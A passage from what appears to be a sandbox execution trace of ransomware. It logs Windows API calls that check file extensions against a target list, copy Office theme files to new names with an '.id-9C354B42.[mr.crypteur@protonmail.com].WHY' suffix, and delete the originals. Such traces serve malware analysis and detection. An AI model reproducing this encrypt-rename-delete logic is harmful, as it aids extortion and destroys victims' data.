(lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0272.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.201] lstrlenW (lpString=".doc") returned 4 [0272.201] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.201] lstrlenW (lpString=".docx") returned 5 [0272.201] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.201] lstrlenW (lpString=".pdf") returned 4 [0272.201] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString=".xls") returned 4 [0272.202] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString=".xlsx") returned 5 [0272.202] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.202] lstrlenW (lpString=".ppt") returned 4 [0272.202] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.202] lstrlenW (lpString=".zip") returned 4 [0272.202] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString=".rar") returned 4 [0272.202] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString=".bz2") returned 4 [0272.202] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.202] lstrlenW (lpString=".7z") returned 3 [0272.203] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.203] lstrlenW (lpString=".dbf") returned 4 [0272.203] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.203] lstrlenW (lpString=".1cd") returned 4 [0272.203] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.203] lstrlenW (lpString=".jpg") returned 4 [0272.203] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.203] lstrlenW (lpString=".doc") returned 4 [0272.204] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.204] lstrlenW (lpString=".docx") returned 5 [0272.204] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.204] lstrlenW (lpString=".pdf") returned 4 [0272.204] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.204] lstrlenW (lpString=".xls") returned 4 [0272.204] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.204] lstrlenW (lpString=".xlsx") returned 5 [0272.204] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.204] lstrlenW (lpString=".ppt") returned 4 [0272.204] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.204] lstrlenW (lpString=".zip") returned 4 [0272.204] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.205] lstrlenW (lpString=".rar") returned 4 [0272.205] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.205] lstrlenW (lpString=".bz2") returned 4 [0272.205] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.205] lstrlenW (lpString=".7z") returned 3 [0272.205] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.205] lstrlenW (lpString=".dbf") returned 4 [0272.205] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.205] lstrlenW (lpString=".1cd") returned 4 [0272.205] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned 79 [0272.206] lstrlenW (lpString=".jpg") returned 4 [0272.206] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.206] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0272.206] lstrlenW (lpString="Equity.eftx") returned 11 [0272.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0272.309] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=24611) returned 1 [0272.310] CloseHandle (hObject=0x320) returned 1 [0272.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0272.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0272.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0272.311] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.311] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0273.376] GetLastError () returned 0x0 [0273.376] ReadFile (in: hFile=0x320, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x6023, lpOverlapped=0x0) returned 1 [0273.807] WriteFile (in: hFile=0x390, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x6030, lpOverlapped=0x0) returned 1 [0273.811] ReadFile (in: hFile=0x320, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.812] WriteFile (in: hFile=0x390, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0273.812] SetEndOfFile (hFile=0x390) returned 1 [0273.812] CloseHandle (hObject=0x390) returned 1 [0273.818] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.818] SetEndOfFile (hFile=0x320) returned 1 [0273.842] CloseHandle (hObject=0x320) returned 1 [0273.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0273.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.844] lstrlenW (lpString=".doc") returned 4 [0273.844] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.844] lstrlenW (lpString=".docx") returned 5 [0273.844] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.844] lstrlenW (lpString=".pdf") returned 4 [0273.844] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.844] lstrlenW (lpString=".xls") returned 4 [0273.844] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.844] lstrlenW (lpString=".xlsx") returned 5 [0273.844] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.844] lstrlenW (lpString=".ppt") returned 4 [0273.844] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.845] lstrlenW (lpString=".zip") returned 4 [0273.845] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.845] lstrlenW (lpString=".rar") returned 4 [0273.845] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.845] lstrlenW (lpString=".bz2") returned 4 [0273.845] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.845] lstrlenW (lpString=".7z") returned 3 [0273.845] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.845] lstrlenW (lpString=".dbf") returned 4 [0273.845] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.845] lstrlenW (lpString=".1cd") returned 4 [0273.845] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.845] lstrlenW (lpString=".jpg") returned 4 [0273.846] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.846] lstrlenW (lpString=".doc") returned 4 [0273.846] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.846] lstrlenW (lpString=".docx") returned 5 [0273.846] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.846] lstrlenW (lpString=".pdf") returned 4 [0273.846] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.846] lstrlenW (lpString=".xls") returned 4 [0273.846] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.847] lstrlenW (lpString=".xlsx") returned 5 [0273.847] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.847] lstrlenW (lpString=".ppt") returned 4 [0273.847] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.847] lstrlenW (lpString=".zip") returned 4 [0273.847] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.847] lstrlenW (lpString=".rar") returned 4 [0273.847] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.847] lstrlenW (lpString=".bz2") returned 4 [0273.847] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.847] lstrlenW (lpString=".7z") returned 3 [0273.847] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.848] lstrlenW (lpString=".dbf") returned 4 [0273.848] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.848] lstrlenW (lpString=".1cd") returned 4 [0273.848] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0273.848] lstrlenW (lpString=".jpg") returned 4 [0273.848] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.849] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.849] lstrlenW (lpString="Grid.eftx") returned 9 [0273.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0274.039] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=18639) returned 1 [0274.039] CloseHandle (hObject=0x3a8) returned 1 [0274.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0274.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0274.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.628] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0275.240] GetLastError () returned 0x0 [0275.241] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x48cf, lpOverlapped=0x0) returned 1 [0275.310] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0275.314] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0275.314] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0275.315] SetEndOfFile (hFile=0x3a8) returned 1 [0275.315] CloseHandle (hObject=0x3a8) returned 1 [0275.316] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.316] SetEndOfFile (hFile=0x15c) returned 1 [0275.326] CloseHandle (hObject=0x15c) returned 1 [0275.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0275.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0275.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.612] lstrlenW (lpString=".doc") returned 4 [0275.612] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.612] lstrlenW (lpString=".docx") returned 5 [0275.612] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.612] lstrlenW (lpString=".pdf") returned 4 [0275.613] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.613] lstrlenW (lpString=".xls") returned 4 [0275.613] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.613] lstrlenW (lpString=".xlsx") returned 5 [0275.613] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.613] lstrlenW (lpString=".ppt") returned 4 [0275.613] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.613] lstrlenW (lpString=".zip") returned 4 [0275.613] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.613] lstrlenW (lpString=".rar") returned 4 [0275.614] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.614] lstrlenW (lpString=".bz2") returned 4 [0275.614] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.614] lstrlenW (lpString=".7z") returned 3 [0275.614] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.614] lstrlenW (lpString=".dbf") returned 4 [0275.614] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.614] lstrlenW (lpString=".1cd") returned 4 [0275.614] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.615] lstrlenW (lpString=".jpg") returned 4 [0275.615] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.615] lstrlenW (lpString=".doc") returned 4 [0275.615] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.615] lstrlenW (lpString=".docx") returned 5 [0275.615] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.615] lstrlenW (lpString=".pdf") returned 4 [0275.615] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.616] lstrlenW (lpString=".xls") returned 4 [0275.616] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.616] lstrlenW (lpString=".xlsx") returned 5 [0275.616] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.616] lstrlenW (lpString=".ppt") returned 4 [0275.616] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.616] lstrlenW (lpString=".zip") returned 4 [0275.616] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.616] lstrlenW (lpString=".rar") returned 4 [0275.616] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.616] lstrlenW (lpString=".bz2") returned 4 [0275.616] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.617] lstrlenW (lpString=".7z") returned 3 [0275.617] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.617] lstrlenW (lpString=".dbf") returned 4 [0275.617] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.617] lstrlenW (lpString=".1cd") returned 4 [0275.617] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0275.617] lstrlenW (lpString=".jpg") returned 4 [0275.617] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.618] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0275.618] lstrlenW (lpString="Opulent.eftx") returned 12 [0275.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0276.191] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=32857) returned 1 [0276.191] CloseHandle (hObject=0x388) returned 1 [0276.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0276.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0276.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0276.198] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.198] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.202] GetLastError () returned 0x0 [0276.202] ReadFile (in: hFile=0x388, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x8059, lpOverlapped=0x0) returned 1 [0276.219] WriteFile (in: hFile=0x3cc, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x8060, lpOverlapped=0x0) returned 1 [0276.224] ReadFile (in: hFile=0x388, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0276.224] WriteFile (in: hFile=0x3cc, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0276.225] SetEndOfFile (hFile=0x3cc) returned 1 [0276.225] CloseHandle (hObject=0x3cc) returned 1 [0276.234] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.234] SetEndOfFile (hFile=0x388) returned 1 [0276.677] CloseHandle (hObject=0x388) returned 1 [0276.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0276.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0276.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.679] lstrlenW (lpString=".doc") returned 4 [0276.680] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.680] lstrlenW (lpString=".docx") returned 5 [0276.680] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.680] 